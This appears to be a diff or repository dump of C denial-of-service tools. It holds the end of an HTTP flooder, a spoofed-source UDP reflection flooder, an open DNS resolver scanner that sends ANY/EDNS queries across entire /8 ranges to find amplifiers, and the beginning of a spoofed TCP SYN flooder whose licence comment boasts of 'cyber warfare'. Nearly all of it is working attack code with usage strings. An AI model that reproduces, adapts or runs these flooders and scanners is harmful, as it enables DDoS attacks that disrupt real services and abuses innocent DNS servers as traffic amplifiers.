for(i = 0;i<num_threads;i++){
|
||||
pthread_create(&thread[i], NULL, &flood, (void *)head);
|
||||
pthread_detach(thread[i]);
|
||||
head = head->next;
|
||||
}
|
||||
|
||||
int temp = atoi(argv[5]);
|
||||
|
||||
for(i = 0;i<temp;i++)
|
||||
{
|
||||
//rps=0;
|
||||
sleep(1);
|
||||
//printf("R/s: %d\n", rps);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
void freeparts()
|
||||
{
|
||||
return;
|
||||
if(returnparts[0]!=NULL) { free(returnparts[0]); }
|
||||
if(returnparts[1]!=NULL) { free(returnparts[1]); }
|
||||
if(returnparts[2]!=NULL) { free(returnparts[2]); }
|
||||
if(returnparts[3]!=NULL) { free(returnparts[3]); }
|
||||
if(returnparts[4]!=NULL) { free(returnparts[4]); }
|
||||
if(returnparts[5]!=NULL) { free(returnparts[5]); }
|
||||
if(returnparts[6]!=NULL) { free(returnparts[6]); }
|
||||
if(returnparts[7]!=NULL) { free(returnparts[7]); }
|
||||
/*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
|
||||
return;
|
||||
}
|
||||
void setupparts()
|
||||
{
|
||||
returnparts[0] = malloc(sizeof(struct urlparts));
|
||||
returnparts[1] = malloc(sizeof(struct urlparts));
|
||||
returnparts[2] = malloc(sizeof(struct urlparts));
|
||||
returnparts[3] = malloc(sizeof(struct urlparts));
|
||||
returnparts[4] = malloc(sizeof(struct urlparts));
|
||||
returnparts[5] = malloc(sizeof(struct urlparts));
|
||||
returnparts[6] = malloc(sizeof(struct urlparts));
|
||||
returnparts[7] = malloc(sizeof(struct urlparts));
|
||||
/*returnparts[8] = malloc(sizeof(struct urlparts));*/
|
||||
bzero(returnparts[0], sizeof(struct urlparts));
|
||||
bzero(returnparts[1], sizeof(struct urlparts));
|
||||
bzero(returnparts[2], sizeof(struct urlparts));
|
||||
bzero(returnparts[3], sizeof(struct urlparts));
|
||||
bzero(returnparts[4], sizeof(struct urlparts));
|
||||
bzero(returnparts[5], sizeof(struct urlparts));
|
||||
bzero(returnparts[6], sizeof(struct urlparts));
|
||||
bzero(returnparts[7], sizeof(struct urlparts));
|
||||
/*bzero(returnparts[8], sizeof(struct urlparts));*/
|
||||
returnparts[0]->name = "scheme";
|
||||
strcpy(returnparts[0]->separator, ":");
|
||||
returnparts[1]->name = "userid";
|
||||
strcpy(returnparts[1]->separator, "@");
|
||||
returnparts[2]->name = "password";
|
||||
strcpy(returnparts[2]->separator, ":");
|
||||
returnparts[3]->name = "host";
|
||||
strcpy(returnparts[3]->separator, "//");
|
||||
returnparts[4]->name = "port";
|
||||
strcpy(returnparts[4]->separator, ":");
|
||||
returnparts[5]->name = "path";
|
||||
strcpy(returnparts[5]->separator, "/");
|
||||
returnparts[6]->name = "param";
|
||||
strcpy(returnparts[6]->separator, ";");
|
||||
/*returnparts[7]->name = "query";
|
||||
strcpy(returnparts[7]->separator, "?");*/
|
||||
returnparts[7]->name = "fragment";
|
||||
strcpy(returnparts[7]->separator, "#");
|
||||
return;
|
||||
}
|
||||
int parseURL(char *url, struct urlparts **returnpart) {
|
||||
register i;
|
||||
int seplen;
|
||||
char * remainder;
|
||||
//char * regall = ":/;?#";
|
||||
char * regall = ":/;#";
|
||||
//char * regpath = ":;?#";
|
||||
char * regpath = ":;#";
|
||||
char * regx;
|
||||
if(!*url)
|
||||
{
|
||||
strcpy(parseError, "nothing to do!\n");
|
||||
return 0;
|
||||
}
|
||||
if((remainder = malloc(strlen(url) + 1)) == NULL)
|
||||
{
|
||||
printf("cannot allocate memory\n");
|
||||
exit(-1);
|
||||
}
|
||||
strcpy(remainder, url);
|
||||
if(firstpunc(remainder) == ':')
|
||||
{
|
||||
strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
|
||||
strleft(remainder, 1);
|
||||
}
|
||||
if (!strcmp(returnpart[scheme]->value, "mailto"))
|
||||
*(returnpart[host]->separator) = 0;
|
||||
for(i = 0; i < NUMPARTS; i++)
|
||||
{
|
||||
if(!*remainder)
|
||||
break;
|
||||
if(i == scheme || i == userid || i == password)
|
||||
continue;
|
||||
if(i == host && strchr(remainder, '@'))
|
||||
{
|
||||
if(!strncmp(remainder, "//", 2))
|
||||
strleft(remainder, 2);
|
||||
strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
|
||||
strleft(remainder, 1);
|
||||
if(strchr(remainder, '@'))
|
||||
{
|
||||
strcpy(returnpart[password]->value, strsplit(remainder, "@"));
|
||||
strleft(remainder, 1);
|
||||
}
|
||||
*(returnpart[host]->separator) = 0;
|
||||
}
|
||||
if(i == path && (! *(returnpart[scheme]->value)))
|
||||
{
|
||||
*(returnpart[path]->separator) = 0;
|
||||
strcpy(returnpart[scheme]->value, "http");
|
||||
}
|
||||
regx = (i == path) ? regpath : regall ;
|
||||
seplen = strlen(returnpart[i]->separator);
|
||||
if(strncmp(remainder, returnpart[i]->separator, seplen))
|
||||
continue;
|
||||
else
|
||||
strleft(remainder, seplen);
|
||||
strcpy(returnpart[i]->value, strsplit(remainder, regx));
|
||||
}
|
||||
if(*remainder)
|
||||
sprintf(parseError, "I don't understand '%s'", remainder);
|
||||
free(remainder);
|
||||
return 0;
|
||||
}
|
||||
char *str_replace(char *orig, char *rep, char *with) {
|
||||
char *result;
|
||||
char *ins;
|
||||
char *tmp;
|
||||
int len_rep;
|
||||
int len_with;
|
||||
int len_front;
|
||||
int count;
|
||||
if (!orig)
|
||||
return NULL;
|
||||
if (!rep || !(len_rep = strlen(rep)))
|
||||
return NULL;
|
||||
if (!(ins = strstr(orig, rep)))
|
||||
return NULL;
|
||||
if (!with)
|
||||
with = "";
|
||||
len_with = strlen(with);
|
||||
for (count = 0; tmp = strstr(ins, rep); ++count) {
|
||||
ins = tmp + len_rep;
|
||||
}
|
||||
tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
|
||||
if (!result)
|
||||
return NULL;
|
||||
while (count--) {
|
||||
ins = strstr(orig, rep);
|
||||
len_front = ins - orig;
|
||||
tmp = strncpy(tmp, orig, len_front) + len_front;
|
||||
tmp = strcpy(tmp, with) + len_with;
|
||||
orig += len_front + len_rep;
|
||||
}
|
||||
strcpy(tmp, orig);
|
||||
return result;
|
||||
}
|
||||
char *stristr(const char *String, const char *Pattern)
|
||||
{
|
||||
char *pptr, *sptr, *start;
|
||||
uint slen, plen;
|
||||
for (start = (char *)String,
|
||||
pptr = (char *)Pattern,
|
||||
slen = strlen(String),
|
||||
plen = strlen(Pattern);
|
||||
slen >= plen;
|
||||
start++, slen--)
|
||||
{
|
||||
|
||||
while (toupper(*start) != toupper(*Pattern))
|
||||
{
|
||||
start++;
|
||||
slen--;
|
||||
|
||||
if (slen < plen)
|
||||
return(NULL);
|
||||
}
|
||||
sptr = start;
|
||||
pptr = (char *)Pattern;
|
||||
while (toupper(*sptr) == toupper(*pptr))
|
||||
{
|
||||
sptr++;
|
||||
pptr++;
|
||||
|
||||
if ('\0' == *pptr)
|
||||
return (start);
|
||||
}
|
||||
}
|
||||
return(NULL);
|
||||
}
|
||||
char * strsplit(char * s, char * tok) {
|
||||
#define OUTLEN (255)
|
||||
register i, j;
|
||||
static char out[OUTLEN + 1];
|
||||
for(i = 0; s[i] && i < OUTLEN; i++)
|
||||
{
|
||||
if(strchr(tok, s[i]))
|
||||
break;
|
||||
else
|
||||
out[i] = s[i];
|
||||
}
|
||||
out[i] = 0;
|
||||
if(i && s[i])
|
||||
{
|
||||
for(j = 0; s[i]; i++, j++) s[j] = s[i];
|
||||
s[j] = 0;
|
||||
}
|
||||
else if (!s[i])
|
||||
*s = 0;
|
||||
return out;
|
||||
}
|
||||
char firstpunc(char * s) {
|
||||
while(*s++)
|
||||
if(!isalnum(*s)) return *s;
|
||||
return 0;
|
||||
}
|
||||
int strleft(char * s, int n) {
|
||||
int l;
|
||||
l = strlen(s);
|
||||
if(l < n)
|
||||
return -1;
|
||||
else if (l == n)
|
||||
*s = 0;
|
||||
memmove(s, s + n, l - n + 1);
|
||||
return n;
|
||||
}
|
||||
|
||||
unsigned int fnGetIP(char *szHost) {
|
||||
static struct in_addr addr;
|
||||
struct hostent *hHost;
|
||||
addr.s_addr = inet_addr(szHost);
|
||||
if(addr.s_addr == -1)
|
||||
{
|
||||
hHost = gethostbyname(szHost);
|
||||
if(hHost == NULL)
|
||||
{
|
||||
exit(0);
|
||||
}
|
||||
bcopy(hHost->h_addr, (char *)&addr.s_addr, hHost->h_length);
|
||||
}
|
||||
return addr.s_addr;
|
||||
}
|
||||
@@ -0,0 +1,187 @@
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/udp.h>
|
||||
#include <arpa/inet.h>
|
||||
#define MAX_PACKET_SIZE 8192
|
||||
#define PHI 0x9e3779b9
|
||||
static uint32_t Q[4096], c = 362436;
|
||||
struct list
|
||||
{
|
||||
struct sockaddr_in data;
|
||||
struct list *next;
|
||||
struct list *prev;
|
||||
};
|
||||
struct list *head;
|
||||
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
|
||||
void init_rand(uint32_t x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++)
|
||||
{
|
||||
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
|
||||
}
|
||||
}
|
||||
|
||||
uint32_t rand_cmwc(void)
|
||||
{
|
||||
uint64_t t, a = 18782LL;
|
||||
static uint32_t i = 4095;
|
||||
uint32_t x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
|
||||
/* function for header checksums */
|
||||
unsigned short csum (unsigned short *buf, int nwords)
|
||||
{
|
||||
unsigned long sum;
|
||||
for (sum = 0; nwords > 0; nwords--)
|
||||
sum += *buf++;
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 4;
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_udp_header(struct udphdr *udph)
|
||||
{
|
||||
udph->source = htons(5678);
|
||||
udph->dest = htons(19);
|
||||
udph->check = 0;
|
||||
strcpy((void *)udph + sizeof(struct udphdr), "h");
|
||||
udph->len=htons(sizeof(struct udphdr) + 3);
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
struct thread_data *td = (struct thread_data *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
|
||||
struct sockaddr_in sin = td->sin;
|
||||
struct list *list_node = td->list_node;
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
init_rand(time(NULL));
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_udp_header(udph);
|
||||
udph->source = sin.sin_port;
|
||||
iph->saddr = sin.sin_addr.s_addr;
|
||||
iph->daddr = list_node->data.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
int i=0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
|
||||
list_node = list_node->next;
|
||||
iph->daddr = list_node->data.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
|
||||
if(i==5)
|
||||
{
|
||||
usleep(0);
|
||||
i=0;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 4){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
int i = 0;
|
||||
head = NULL;
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
int max_len = 128;
|
||||
char *buffer = (char *) malloc(max_len);
|
||||
buffer = memset(buffer, 0x00, max_len);
|
||||
int num_threads = atoi(argv[4]);
|
||||
FILE *list_fd = fopen(argv[3], "r");
|
||||
while (fgets(buffer, max_len, list_fd) != NULL) {
|
||||
if ((buffer[strlen(buffer) - 1] == '\n') ||
|
||||
(buffer[strlen(buffer) - 1] == '\r')) {
|
||||
buffer[strlen(buffer) - 1] = 0x00;
|
||||
if(head == NULL)
|
||||
{
|
||||
head = (struct list *)malloc(sizeof(struct list));
|
||||
bzero(&head->data, sizeof(head->data));
|
||||
head->data.sin_addr.s_addr=inet_addr(buffer);
|
||||
head->next = head;
|
||||
head->prev = head;
|
||||
} else {
|
||||
struct list *new_node = (struct list *)malloc(sizeof(struct list));
|
||||
memset(new_node, 0x00, sizeof(struct list));
|
||||
new_node->data.sin_addr.s_addr=inet_addr(buffer);
|
||||
new_node->prev = head;
|
||||
new_node->next = head->next;
|
||||
head->next = new_node;
|
||||
}
|
||||
i++;
|
||||
} else {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
struct list *current = head->next;
|
||||
pthread_t thread[num_threads];
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(atoi(argv[2]));
|
||||
sin.sin_addr.s_addr = inet_addr(argv[1]);
|
||||
struct thread_data td[num_threads];
|
||||
for(i = 0;i<num_threads;i++){
|
||||
td[i].thread_id = i;
|
||||
td[i].sin= sin;
|
||||
td[i].list_node = current;
|
||||
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
if(argc > 5)
|
||||
{
|
||||
sleep(atoi(argv[5]));
|
||||
} else {
|
||||
while(1){
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,299 @@
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <signal.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <math.h>
|
||||
#include <stropts.h>
|
||||
#include <ctype.h>
|
||||
#include <errno.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/udp.h>
|
||||
|
||||
struct DNS_HEADER
|
||||
{
|
||||
unsigned short id; // identification number
|
||||
|
||||
unsigned char rd :1; // recursion desired
|
||||
unsigned char tc :1; // truncated message
|
||||
unsigned char aa :1; // authoritive answer
|
||||
unsigned char opcode :4; // purpose of message
|
||||
unsigned char qr :1; // query/response flag
|
||||
|
||||
unsigned char rcode :4; // response code
|
||||
unsigned char cd :1; // checking disabled
|
||||
unsigned char ad :1; // authenticated data
|
||||
unsigned char z :1; // its z! reserved
|
||||
unsigned char ra :1; // recursion available
|
||||
|
||||
unsigned short q_count; // number of question entries
|
||||
unsigned short ans_count; // number of answer entries
|
||||
unsigned short auth_count; // number of authority entries
|
||||
unsigned short add_count; // number of resource entries
|
||||
};
|
||||
|
||||
struct QUESTION
|
||||
{
|
||||
unsigned short qtype;
|
||||
unsigned short qclass;
|
||||
};
|
||||
|
||||
#pragma pack(push, 1)
|
||||
struct R_DATA
|
||||
{
|
||||
unsigned short type;
|
||||
unsigned short _class;
|
||||
unsigned int ttl;
|
||||
unsigned short data_len;
|
||||
};
|
||||
#pragma pack(pop)
|
||||
|
||||
struct RES_RECORD
|
||||
{
|
||||
unsigned char *name;
|
||||
struct R_DATA *resource;
|
||||
unsigned char *rdata;
|
||||
};
|
||||
|
||||
typedef struct
|
||||
{
|
||||
unsigned char *name;
|
||||
struct QUESTION *ques;
|
||||
} QUERY;
|
||||
|
||||
volatile int running_threads = 0;
|
||||
volatile int found_srvs = 0;
|
||||
volatile unsigned long per_thread = 0;
|
||||
volatile unsigned long start = 0;
|
||||
volatile unsigned long scanned = 0;
|
||||
volatile int sleep_between = 0;
|
||||
volatile int bytes_sent = 0;
|
||||
volatile unsigned long hosts_done = 0;
|
||||
FILE *fd;
|
||||
|
||||
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
|
||||
{
|
||||
int lock = 0 , i;
|
||||
strcat((char*)host,".");
|
||||
|
||||
for(i = 0 ; i < strlen((char*)host) ; i++)
|
||||
{
|
||||
if(host[i]=='.')
|
||||
{
|
||||
*dns++ = i-lock;
|
||||
for(;lock<i;lock++)
|
||||
{
|
||||
*dns++=host[lock];
|
||||
}
|
||||
lock++;
|
||||
}
|
||||
}
|
||||
*dns++='\0';
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
running_threads++;
|
||||
int thread_id = (int)par1;
|
||||
unsigned long start_ip = htonl(ntohl(start)+(per_thread*thread_id));
|
||||
unsigned long end = htonl(ntohl(start)+(per_thread*(thread_id+1)));
|
||||
unsigned long w;
|
||||
int y;
|
||||
unsigned char *host = (unsigned char *)malloc(50);
|
||||
strcpy((char *)host, ".");
|
||||
unsigned char buf[65536],*qname;
|
||||
struct DNS_HEADER *dns = NULL;
|
||||
struct QUESTION *qinfo = NULL;
|
||||
dns = (struct DNS_HEADER *)&buf;
|
||||
|
||||
dns->id = (unsigned short) htons(rand());
|
||||
dns->qr = 0;
|
||||
dns->opcode = 0;
|
||||
dns->aa = 0;
|
||||
dns->tc = 0;
|
||||
dns->rd = 1;
|
||||
dns->ra = 0;
|
||||
dns->z = 0;
|
||||
dns->ad = 0;
|
||||
dns->cd = 0;
|
||||
dns->rcode = 0;
|
||||
dns->q_count = htons(1);
|
||||
dns->ans_count = 0;
|
||||
dns->auth_count = 0;
|
||||
dns->add_count = htons(1);
|
||||
qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)];
|
||||
|
||||
ChangetoDnsNameFormat(qname , host);
|
||||
qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)];
|
||||
|
||||
qinfo->qtype = htons( 255 );
|
||||
qinfo->qclass = htons(1);
|
||||
|
||||
void *edns = (void *)qinfo + sizeof(struct QUESTION)+1;
|
||||
memset(edns, 0x00, 1);
|
||||
memset(edns+1, 0x29, 1);
|
||||
memset(edns+2, 0xFF, 2);
|
||||
memset(edns+4, 0x00, 7);
|
||||
|
||||
int sizeofpayload = sizeof(struct DNS_HEADER) + (strlen((const char *)qname)+1) + sizeof(struct QUESTION) + 11;
|
||||
int sock;
|
||||
if((sock=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
|
||||
perror("cant open socket");
|
||||
exit(-1);
|
||||
}
|
||||
for(w=ntohl(start_ip);w<htonl(end);w++)
|
||||
{
|
||||
struct sockaddr_in servaddr;
|
||||
bzero(&servaddr, sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(w);
|
||||
servaddr.sin_port=htons(53);
|
||||
sendto(sock,(char *)buf,sizeofpayload,0, (struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
bytes_sent+=24;
|
||||
scanned++;
|
||||
hosts_done++;
|
||||
usleep(sleep_between*1000);
|
||||
}
|
||||
close(sock);
|
||||
running_threads--;
|
||||
return;
|
||||
}
|
||||
|
||||
void sighandler(int sig)
|
||||
{
|
||||
fclose(fd);
|
||||
printf("\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
void recievethread()
|
||||
{
|
||||
printf("Started Listening Thread\n");
|
||||
int saddr_size, data_size, sock_raw;
|
||||
struct sockaddr_in saddr;
|
||||
struct in_addr in;
|
||||
|
||||
unsigned char *buffer = (unsigned char *)malloc(65536);
|
||||
sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_UDP);
|
||||
if(sock_raw < 0)
|
||||
{
|
||||
printf("Socket Error\n");
|
||||
exit(1);
|
||||
}
|
||||
while(1)
|
||||
{
|
||||
saddr_size = sizeof saddr;
|
||||
data_size = recvfrom(sock_raw , buffer , 65536 , 0 , (struct sockaddr *)&saddr , &saddr_size);
|
||||
if(data_size <0 )
|
||||
{
|
||||
printf("Recvfrom error , failed to get packets\n");
|
||||
exit(1);
|
||||
}
|
||||
struct iphdr *iph = (struct iphdr*)buffer;
|
||||
if(iph->protocol == 17)
|
||||
{
|
||||
unsigned short iphdrlen = iph->ihl*4;
|
||||
struct udphdr *udph = (struct udphdr*)(buffer + iphdrlen);
|
||||
unsigned char* payload = buffer + iphdrlen + 8;
|
||||
if(ntohs(udph->source) == 53)
|
||||
{
|
||||
int body_length = data_size - iphdrlen - 8;
|
||||
struct DNS_HEADER *dns = (struct DNS_HEADER*) payload;
|
||||
if(dns->ra == 1)
|
||||
{
|
||||
found_srvs++;
|
||||
fprintf(fd,"%s . %d\n",inet_ntoa(saddr.sin_addr),body_length);
|
||||
fflush(fd);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
close(sock_raw);
|
||||
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
|
||||
if(argc < 6){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <class a start> <class a end> <outfile> <threads> <scan delay in ms>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
fd = fopen(argv[3], "a");
|
||||
sleep_between = atoi(argv[5]);
|
||||
|
||||
signal(SIGINT, &sighandler);
|
||||
|
||||
int threads = atoi(argv[4]);
|
||||
pthread_t thread;
|
||||
|
||||
pthread_t listenthread;
|
||||
pthread_create( &listenthread, NULL, &recievethread, NULL);
|
||||
|
||||
char *str_start = malloc(18);
|
||||
memset(str_start, 0, 18);
|
||||
str_start = strcat(str_start,argv[1]);
|
||||
str_start = strcat(str_start,".0.0.0");
|
||||
char *str_end = malloc(18);
|
||||
memset(str_end, 0, 18);
|
||||
str_end = strcat(str_end,argv[2]);
|
||||
str_end = strcat(str_end,".255.255.255");
|
||||
start = inet_addr(str_start);
|
||||
per_thread = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start))) / threads;
|
||||
unsigned long toscan = (ntohl(inet_addr(str_end)) - ntohl(inet_addr(str_start)));
|
||||
int i;
|
||||
for(i = 0;i<threads;i++){
|
||||
pthread_create( &thread, NULL, &flood, (void *) i);
|
||||
}
|
||||
sleep(1);
|
||||
printf("Starting Scan...\n");
|
||||
char *temp = (char *)malloc(17);
|
||||
memset(temp, 0, 17);
|
||||
sprintf(temp, "Found");
|
||||
printf("%-16s", temp);
|
||||
memset(temp, 0, 17);
|
||||
sprintf(temp, "Host/s");
|
||||
printf("%-16s", temp);
|
||||
memset(temp, 0, 17);
|
||||
sprintf(temp, "B/s");
|
||||
printf("%-16s", temp);
|
||||
memset(temp, 0, 17);
|
||||
sprintf(temp, "Running Thrds");
|
||||
printf("%-16s", temp);
|
||||
memset(temp, 0, 17);
|
||||
sprintf(temp, "Done");
|
||||
printf("%s", temp);
|
||||
printf("\n");
|
||||
|
||||
char *new;
|
||||
new = (char *)malloc(16*6);
|
||||
while (running_threads > 0)
|
||||
{
|
||||
printf("\r");
|
||||
memset(new, '\0', 16*6);
|
||||
sprintf(new, "%s|%-15lu", new, found_srvs);
|
||||
sprintf(new, "%s|%-15d", new, scanned);
|
||||
sprintf(new, "%s|%-15d", new, bytes_sent);
|
||||
sprintf(new, "%s|%-15d", new, running_threads);
|
||||
memset(temp, 0, 17);
|
||||
int percent_done=((double)(hosts_done)/(double)(toscan))*100;
|
||||
sprintf(temp, "%d%%", percent_done);
|
||||
sprintf(new, "%s|%s", new, temp);
|
||||
printf("%s", new);
|
||||
fflush(stdout);
|
||||
bytes_sent=0;
|
||||
scanned = 0;
|
||||
sleep(1);
|
||||
}
|
||||
printf("\n");
|
||||
fclose(fd);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,197 @@
|
||||
/*
|
||||
This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
|
||||
*/
|
||||
#include <unistd.h>
|
||||
#include <time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <pthread.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <netdb.h>
|
||||
#include <net/if.h>
|
||||
#include <arpa/inet.h>
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
|
||||
|
||||
struct tcp_pseudo
|
||||
{
|
||||
unsigned long src_addr;
|
||||
unsigned long dst_addr;
|
||||
unsigned char zero;
|
||||
unsigned char proto;
|
||||
unsigned short length;
|
||||
} pseudohead;
|
||||
unsigned short total_len = iph->tot_len;
|
||||
pseudohead.src_addr=iph->saddr;
|
||||
pseudohead.dst_addr=iph->daddr;
|
||||
pseudohead.zero=0;
|
||||
pseudohead.proto=IPPROTO_TCP;
|
||||
pseudohead.length=htons(sizeof(struct tcphdr));
|
||||
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
|
||||
unsigned short *tcp = malloc(totaltcp_len);
|
||||
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
|
||||
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
|
||||
unsigned short output = csum(tcp,totaltcp_len);
|
||||
free(tcp);
|
||||
return output;
|
||||
}
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = 6;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
void setup_tcp_header(struct tcphdr *tcph)
|
||||
{
|
||||
tcph->source = htons(5678);
|
||||
tcph->seq = rand();
|
||||
tcph->ack_seq = 1;
|
||||
tcph->res2 = 3;
|
||||
tcph->doff = 5;
|
||||
tcph->syn = 1;
|
||||
tcph->window = htons(65535);
|
||||
tcph->check = 1;
|
||||
tcph->urg_ptr = 1;
|
||||
}
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons (rand() % 2048);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
